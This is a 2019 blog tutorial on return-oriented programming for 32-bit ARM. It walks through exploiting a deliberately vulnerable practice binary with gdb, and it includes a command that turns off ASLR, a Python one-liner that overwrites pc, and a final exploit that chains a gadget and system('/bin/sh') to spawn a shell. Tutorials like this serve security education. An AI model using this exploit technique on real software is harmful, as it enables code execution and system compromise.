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38 <code>2019-06-06</code>
39 <h1>Return Oriented Programming on ARM (32-bit)</h1>
40 <h2>Making stack-based exploitation great again!</h2>
41 <p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
42assembly to follow along. I highly recommend
43<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
44Basics</a>. Once you’re
45comfortable with it, proceed with the next bit — environment setup.</p>
46
47<h3 id="setup">Setup</h3>
48
49<p>Since we’re working with the ARM architecture, there are two options to go
50forth with: </p>
51
52<ol>
53<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
54And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
55The scripts found inside should be self-explanatory.</li>
56<li>Use actual ARM hardware, like an RPi.</li>
57</ol>
58
59<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
60may use <code>radare2</code>, IDA or anything else, really. All of which can be
61trivially installed.</p>
62
63<p>And for the sake of simplicity, disable ASLR:</p>
64
65<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
66</code></pre></div>
67
68<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
69<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
70
71<p>Compile it:</p>
72
73<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
74</code></pre></div>
75
76<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
77
78<h3 id="a-primer-on-rop">A primer on ROP</h3>
79
80<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
81used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
82In essence, no code in the binary is actually modified and the entire exploit
83is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
84
85<p>A gadget is essentially a small sequence of code (instructions), ending with
86a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
87code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
88These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
89to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
90there’s generally a call to <code>system()</code>, to acheive code execution.</p>
91
92<p>In practice, the process of executing a ropchain is something like this:</p>
93
94<ul>
95<li>confirm the existence of a stack-based buffer overflow</li>
96<li>identify the offset at which the instruction pointer gets overwritten</li>
97<li>locate the addresses of the gadgets you wish to use</li>
98<li>craft your input keeping in mind the stack’s layout, and chain the addresses
99of your gadgets</li>
100</ul>
101
102<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
103Check it out, it might be just what you needed for that “aha!” moment :)</p>
104
105<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
106that should put things into perspective.</p>
107
108<h3 id="exploring-our-binary">Exploring our binary</h3>
109
110<p>Start by running it, and entering any arbitrary string. On entering a fairly
111large string, say, “A” × 20, we
112see a segmentation fault occur.</p>
113
114<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
115
116<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
117
118<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
119
120<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
121<code>gadget</code>. Disassembling the <code>main</code> function:</p>
122
123<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
124
125<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
126to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
127never actually called.</p>
128
129<p>Disassembling the <code>gadget</code> function:</p>
130
131<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
132
133<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
134which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
135instruction in the middle. This is a <strong>gadget</strong>.</p>
136
137<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
138arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
139are used for this. So this gadget effectively allows us to pass arguments to
140functions using <code>r0</code>, and subsequently jumping to them by passing its address
141in <code>pc</code>. Neat.</p>
142
143<p>Moving on to the disassembly of the <code>winner</code> function:</p>
144
145<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
146
147<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
148So our end goal here is to, quite obviously, execute code via the <code>system()</code>
149function.</p>
150
151<p>Now that we have an overview of what’s in the binary, let’s formulate a method
152of exploitation by messing around with inputs.</p>
153
154<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
155
156<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
157screenshot.</p>
158
159<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
160
161<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
162the <code>pc</code> has been overwritten with our input.
163So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
164
165<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
166control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
167
168<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
169of the second instruction — <code>add r11, sp, #4</code>.
170For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
171the address of <code>winner</code>. Note the endianness.</p>
172
173<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
174</code></pre></div>
175
176<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
177
178<p>The reason we don’t jump to the first instruction is because we want to control the stack
179ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
180those out after <code>winner</code> is done executing and we will no longer control
181where it jumps to.</p>
182
183<p>So that didn’t do much, just prints out a string “Nothing much here…”.
184But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
185to do what we want (run a command, execute a shell, etc.).</p>
186
187<p>To do that, we’ll follow a multi-step process: </p>
188
189<ol>
190<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
191<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
192<code>r0</code>.</li>
193<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
194</ol>
195
196<p>The pseudo-code is something like this:</p>
197
198<pre><code>string = AAAABBBBCCCCDDDDEEEE
199gadget = # addr of gadget
200binsh = # addr of /bin/sh
201system = # addr of system()
202
203print(string + gadget + binsh + system)
204</code></pre>
205
206<p>Clean and mean.</p>
207
208<h3 id="the-exploit">The exploit</h3>
209
210<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
211It allows us to pack the bytes of addresses to the endianness of our choice.
212It probably does a lot more, but who cares.</p>
213
214<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
215at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
216
217<pre><code>(gdb) find &system, +9999999, "/bin/sh"
218</code></pre>
219
220<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
221
222<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
223found from the disassmblies from earlier. Here’s the final exploit code:</p>
224
225<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
226
227<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
228<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
229<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
230<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
231
232<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
233</code></pre></div>
234
235<p>Honestly, not too far off from our pseudo-code :)</p>
236
237<p>Let’s see it in action:</p>
238
239<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
240
241<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
242when the pipe closes, since there’s no input coming in from STDIN.
243To get around this, we use <code>cat(1)</code> which allows us to relay input through it
244to the shell. Nifty trick.</p>
245
246<h3 id="conclusion">Conclusion</h3>
247
248<p>This was a fairly basic challenge, with everything laid out conveniently.
249Actual ropchaining is a little more involved, with a lot more gadgets to be chained
250to acheive code execution.</p>
251
252<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
253
254 </div>
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